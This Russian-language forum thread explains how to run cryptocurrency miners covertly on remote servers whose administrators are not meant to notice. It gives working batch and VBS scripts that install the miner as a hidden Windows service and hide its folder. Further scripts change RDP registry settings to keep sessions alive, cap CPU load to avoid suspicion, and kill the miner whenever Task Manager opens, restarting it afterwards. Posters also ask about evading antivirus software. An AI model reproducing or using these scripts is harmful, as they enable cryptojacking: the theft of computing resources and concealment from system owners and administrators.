Т.к те, кто майнит на дедиках просто запускают свой батник или .vbs скрипт, 1 вариант палевно, т.к видно окно cmd, минус второго - после рестарта его нужно будет запустить заново, сейчас я покажу как можно без особого труда установить майнер как службу Существует такая софтина как nssm (Non-Sucking Service Manager) Итак, софт должен лежать рядом с майнером(желательно), создаем батник и пишем в нем: Код: nssm install <servicename> <parameter> где servicename - имя сервиса parameter - параметры с которыми мы и запустим майнер, например: Код: nssm install myservices miner.exe -a hodl -o stratum+tcp://hodl.blockquarry.com:3032 -u user.1 -p x далее запускаем сервис через Win+R либо командой Код: nssm start myservices
Для более быстрой установки создал батник который устанавливает майнер как службу и соотв. запускает ее майнер я взял стандартный Скрытое содержимое: **Скрытое содержимое: Для просмотра Вам необходимо минимум 1 сообщений на форуме.** текст батника: Код: @echo off set SERVICE_NAME=myservices nssm install "%SERVICE_NAME%" myminer.exe -a hodl -o stratum+tcp://hodl.blockquarry.com:3032 -u user.worker1 -p x Set ProcessName=myminer.exe TaskList /FI "ImageName EQ %ProcessName%" 2>nul|Find /I "%ProcessName%">nul||( sc start "%SERVICE_NAME%" ) exit
т.к руками вычислять кол-во процессов очень напряжно, предлагаю использовать такой вариант Код: set /a cpu=%NUMBER_OF_PROCESSORS%/2 myminer.exe -a hodl -o stratum+tcp://hodl.blockquarry.com:3032 -u user.worker1 -p x -t %cpu% для тех кто не понял Код: set /a cpu=%NUMBER_OF_PROCESSORS%/2 данный параметр дает возможность указать майнеру параметр "-t" так, что бы ваш майнер не грузил cpu более чем на 50% от всех возможных, я упоминал для чего это нужно в топике. Далее еще пара не больших правок Что бы скрыть содержимое папки где находится майнер используйте этот код: Код: attrib +h +r C:\путь_до_папки_с_майнером\*.* естественно замените путь на свой. У некоторых дедиков есть свойство отключаться после окончания сессии, исправить это можно так: Код: reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f net accounts /forcelogoff:no В 90% случаев должно помочь решить проблему с отключением. В итоге у вас должен получится примерно такой код Код: @echo off set /a cpu=%NUMBER_OF_PROCESSORS%/2 set SERVICE_NAME=myservices nssm install "%SERVICE_NAME%" myminer.exe -a hodl -o stratum+tcp://hodl.blockquarry.com:3032 -u user.worker1 -p x -t %cpu% Set ProcessName=myminer.exe TaskList /FI "ImageName EQ %ProcessName%" 2>nul|Find /I "%ProcessName%">nul||( sc start "%SERVICE_NAME%" ) attrib +h +r C:\myminer\*.* reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f net accounts /forcelogoff:no exit Если что то забыл/упустил - отпишите поправим, дополним=)
Еще один вариант с использованием майнера cpuminer-opt создать рядом с ехе файл, например config.json с содержимым: Код: { "_comment1": "Any long-format command line argument ", "_comment2": "may be used in this JSON configuration file", "url": "stratum+tcp://hodl.usa.nicehash.com:3352", "user": "mybtc.worker1", "pass": "x", "algo": "hodl", "threads": 0, "cpu-priority": 5, "cpu-affinity": -1, "benchmark": false, "debug": false, "protocol": false, "quiet": false } заменить mybtc на ваш биткоин кошелек, если используете пул - замените stratum и соотв. название воркера и валюту В батнике все по старому, единственное, не нужно прописывать каких то лишник параметров вроде пула, кошелька и т.д: Код: nssm install %SERVICE_NAME% myminer.exe -c config.json
Сделал так но понять запустился или нет сервис не могу где посмотреть можно? @echo off set /a cpu=%NUMBER_OF_PROCESSORS%/2 set SERVICE_NAME=cli nssm install "%cli%" cli.exe -user мой емаил -xmr Set ProcessName=cli.exe TaskList /FI "ImageName EQ %cli%" 2>nul|Find /I "%ProcessName%">nul||(sc start "%cli%") attrib +h +r C:\Users\adm\cli64*.* reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f net accounts /forcelogoff:no exit
нет, по какой то причине он выдал ошибку, возможно не хватает прав, гляньте, появился ли вообще ваш процесс в диспетчере
1. гляньте создалась ли вообще служба services.msc 2. отредактируйте код а именно эти строки: Код: TaskList /FI "ImageName EQ %cli%" 2>nul|Find /I "%ProcessName%">nul||(sc start "%cli%") что бы получилось все раздельно, как в постах выше: Код: Set ProcessName=myminer.exe TaskList /FI "ImageName EQ %ProcessName%" 2>nul|Find /I "%ProcessName%">nul||( sc start "%SERVICE_NAME%" ) attrib +h +r C:\myminer\*.*
АААА то есть надо именно так, а вот вопрос что есть вот эти переменные? ImageName ProcessName они так и должны быть или их надо называть как то?
Set ProcessName=myminer.exe SERVICE_NAME вот эти переменные я могу назвать как хочу или мне майнер переименовать именно так myminer.exe
Код: Set ProcessName=myminer.exe TaskList /FI "ImageName EQ %ProcessName%" 2>nul|Find /I "%ProcessName%">nul||( sc start "%SERVICE_NAME%" ) команда проверяет, запущен ли майнер, т.е %ProcessName% - название майнера, в вашем случае cli.exe, его нужно указать: Код: Set ProcessName=myminer.exe если же такого процесса нет, запускается служба: Код: sc start "%SERVICE_NAME%" вам нужно поменять лишь название процесса Код: Set ProcessName=myminer.exe
Все остальное оставлять как есть? и еще вопрос Non-Sucking Service Manager должен быть один файл по разрядности ситемы или там в архиве еще папочка есть это все должно быть в папке с майнером?
да, оставляйте как есть. нет, там 2 файла, я не гружу майнер на win x32, хотя они и не попадаются мне.
примерно, но я говорил уже что не пользуюсь x32. создайте 2 разные папки с x32 майнером и x64, положите туда nssm для каждой из архитектур
они обе должны быть или только файл разрядности? если майнер х64 то ифайл должен быть от туда же? и все его просто тупо кинуть в папку с майнером х64
nssm должен быть либо 32 либо 64 версии, так же как и майнер, nssm для x64 не запустится на win 32, по сути, для x32 можно сделать копию майнера такую же как и x64, но файл nssm должен в ней быть соотв. как и майнер x32. думаю так понятнее?
А есть ли возможность регулировать нагрузку на GPU? К примеру майню через genoil, а он жрет всю мощность видюхи, тем самым тормозит винду.
Парни помогите, как сделать что бы майнер запускался как служба. Вот этим батником у меня запускается майнер cmdow @ /HID set worker=Comp1 :1 miner -a equihash -o stratum+tcp://lyra2re.eu.nicehash.com:3342 -u Тут кошелек.%worker% -p x goto 1 пробовал по всякому те коды что на первой странице но какая то ошибка, прочитать не успеваю т.к командная строка закрывается оч быстро
Так, запустить службу мы запустили, но вы не написали, что делать, если нужно её удалить. Запускаем консоль от имени администратора и пришем sc delete %servicename% где %servicename% - название службы, которое вы ей дали. Осталось дописать как при создании службы задать ей описание.
Ребят кто поможет запустить майнер в скрытом режиме чтобы при завершении процессс он снова стартовал? я запуская сейчас через батник так: nheqminer.exe -u negan1.red13 -p x -t 6 ,но постоянно приходятся заходить на дедик и запускать при его остановке
Прописать в службу получается только CPU майнер пробовал на Claymore CryptoNote CPU miner, а вот например ccminer-cryptonight прописать не получилось, может дело в .dll файлах которые должны находится в папке с .exe майнером
Монеро сейчас выгодно добывать хоть на дедах хоть нет, я так и не нашёл норм майнер на видеокарте чтобы можно было регулировать мощьность, соответственно майнер будет тормозить систему и админ деда скорее всего установит антивирус или перекатит винду, на проце таких проблем нет но и скорость значительно ниже
Уменьшил я в конечном итоге нагрузку на видюху ccminer-cryptonight by tsiv и на проц Claymore CryptoNote CPU miner теперь майнит в пол силы
Собрал я данный майнер для NiceHash . У меня такой впрос. Как мне сделать так . что б при закрытии в диспетчере задач самого майнера, майнер автоматоматически запустился сам ? И что б открывая папку местонахождения майнера из диспетчера . показало левую папку ? attrib +h +r C:\путь_до_папки_с_майнером\*.* -данной командой не смог скрыть свои атрибуды в виндовс 8.1 Если есть какое нибудь решение прошу помочь. в долгу не останусь
создай файл который назови start.vbs и скопируй эти строки запускай этим файлом и смотри в диспетчере задач если твой майнер появился и жрет ресурсы значит все ок. Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "start.bat" & Chr(34), 0 Set WshShell = Nothing
У меня другая задача : Как мне сделать так . что б при закрытии в диспетчере задач самого майнера, майнер автоматоматически запустился сам
Не уверен что на восьмерке пойдет но как вариант В планировщике задач указать условия запуска майнера Назначить учетной записи от имени которой будет производится запуск "СИСТЕМА". Нужно будет еще настроить политику безопасности учетных записей. Результат, не скроет процесс майнера в диспетчере, но для того чтоб его "убить" понадобятся особые полномочия ПС Неудачные эксперименты могут привести к потере полномочий пользователя в ОС, либо частичной утрате контроля над ней
Что вы именно не понимаете опишите, пользователи форума постараются вам ответить на все интересующие вопросы
От майнергейт, с дуал майнингом с фантомом,вроде как этот прибыльный,не знаю как щя но раньше он был в топе,или от клеймора на цпу тоже дуал.
А майнегрейтовский можно настроить на другой пул? Почему-то у меня на домашнем компе майнергейт с ГУИ даёт 170 хешей/сек, а клеймор и вольф выдают лишь 70. Врёт майнергейт?
Как вариант это засекать,ставьте от майнергейта на два часа и запишите результат,и потом от клея,как вприант еще найсхеш.
Ребят, у вас очень интересная тема тут. Хочу научиться собирать, но, если честно, у меня все в голове перепуталось.. Можете все по полочкам разложить? Нужен майнер с: 1. Майнит Cryptonight на Minergate 2. Делает это скрытно 3. Скрывает файлы и летит в автозапуск 4. ???Где взять исходник??? 5. Если первые три я примерно понимаю, то как его прописать в службы(Оооочень интересно) 6. Как сделать сразу на 32 и 64 битные системы (Как прописать, чтобы он выбирал в зависимости от системы ту или иную) 7. Если собирать в личное использование, то возможно ли, чтобы его не видели ХОТЯ БЫ бесплатные АВ (Аваст, Авира, АВГ, Панда) У меня такая история, что я потратил 3к на суперпупер скрытный майнер, который не палится ни одним АВ, а на деле его палят вообще все. Деньги не вернули, кинули. А покупал на приличном борде у админа! Теперь хочу сам вникнуть в это все и создать свой.. Помогите, пожалуйста, кому не сложно..
Делаю с помощью nssm службой консольный cpu майнер, настраиваю через прокси. Т.е. несколько компов работают через прокси, находящийся на выделенном для этого компе. Если интернет на нем вырубаешь, все майнеры продолжают молотить, не смотря на потерю связи. Не могу добиться, чтобы служба при отсутствии трафика не грузила проц.
Отличное пошаговое руководство, но как ограничить майнеру загрузку всех cpu и gpu до 25-75%, если кто подскажет криптой поделюсь.
Это общая нагрузка, если человек зайдет и посмотрит на вкладку быстродействие в диспетчере, то увидит что половина ядер пашет на 100%, что вызывает подозрения. Если бы майнер от каждого ядра брал по немногу меньше палева...
майнеров много, они почти все условно бесплатные, берут комиссию майнингом в свою пользу. лучше почитайте побольше на эту тему, чтобы случайно деньги мошенникам не отдать
блин монеро ваще уже неактуально майнить у меня ферма на 20 видях раскидал на 5 мамок и процики 8 ядер пот выхлоп 5 проциков по 8 ядер каждый и за 3 месяца всего 8 монерок ладно курс помог а так бы хз когда себя процики бы окупили
Благодарю, то что искал! А как задать переменную в батник, чтобы не кол-во процессоров делить на 2, а L3 кеш /2, и округлять до целого? И может кто подскажет идею, как защитить службу от остановки? типа как у антивирусов, при попытке остановить службу - Отказано в доступе.
Подскажите как сделать скрытие майнера от диспетчера при открытии . а при закрытии диспетчера в определённое время включался .Может есть скрипты какие
У кого то есть или кто то сожет сделать самозапускатор майнера. То есть его в процессе убили, а майнер запустился через 5 минут????
поздновато, но держи батник, который закрывает майнер, когда открывается диспетчер и открывает его обратно, когда диспетчер закрыли :D нашёл на просторах инета %1@mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run """"""%~f0"""" :"",0:Close()")& exit/b ^^^^^ чтобы консоль батника моментально закрылась @echo off TIMEOUT /T 5 Set process1=taskmgr.exe ^^^^^ процесс диспетчера вроде как set process2=fuck.exe ^^^^^ название майнера, который насилуем открытием/закрытием set start=fuck.exe ^^^^^запускаем его либо же другой батник/vbs (майнер по прежнему будет прятаться от диспетчера, если указан другой файл) tasklist /FI "ImageName EQ %process2%" | find /I "%process2%" If %errorlevel% NEQ 1 goto :ex :first TIMEOUT /T 1 ^^^^^ задержка, с которой будет прятаться сам майнер (лучше оставить) tasklist /FI "ImageName EQ %process1%" | find /I "%process1%" If %errorlevel% NEQ 0 goto :first taskkill /f /im %process2% :first tasklist /FI "ImageName EQ %process2%" | find /I "%process2%" If %errorlevel% NEQ 1 goto :first :go TIMEOUT /T 1 tasklist /FI "ImageName EQ %process1%" | find /I "%process1%" If %errorlevel% NEQ 1 goto :go start %start% goto :first :ex ^^^^^в случае ошибки exit P.S. не забудь убарть эти штуки ^^^^ и русский текст :D
https://bitalk.org/threads/4261/page-5#post-149210 с этой штукой майнер не найти в диспетчере, т.к. его там не будет вообще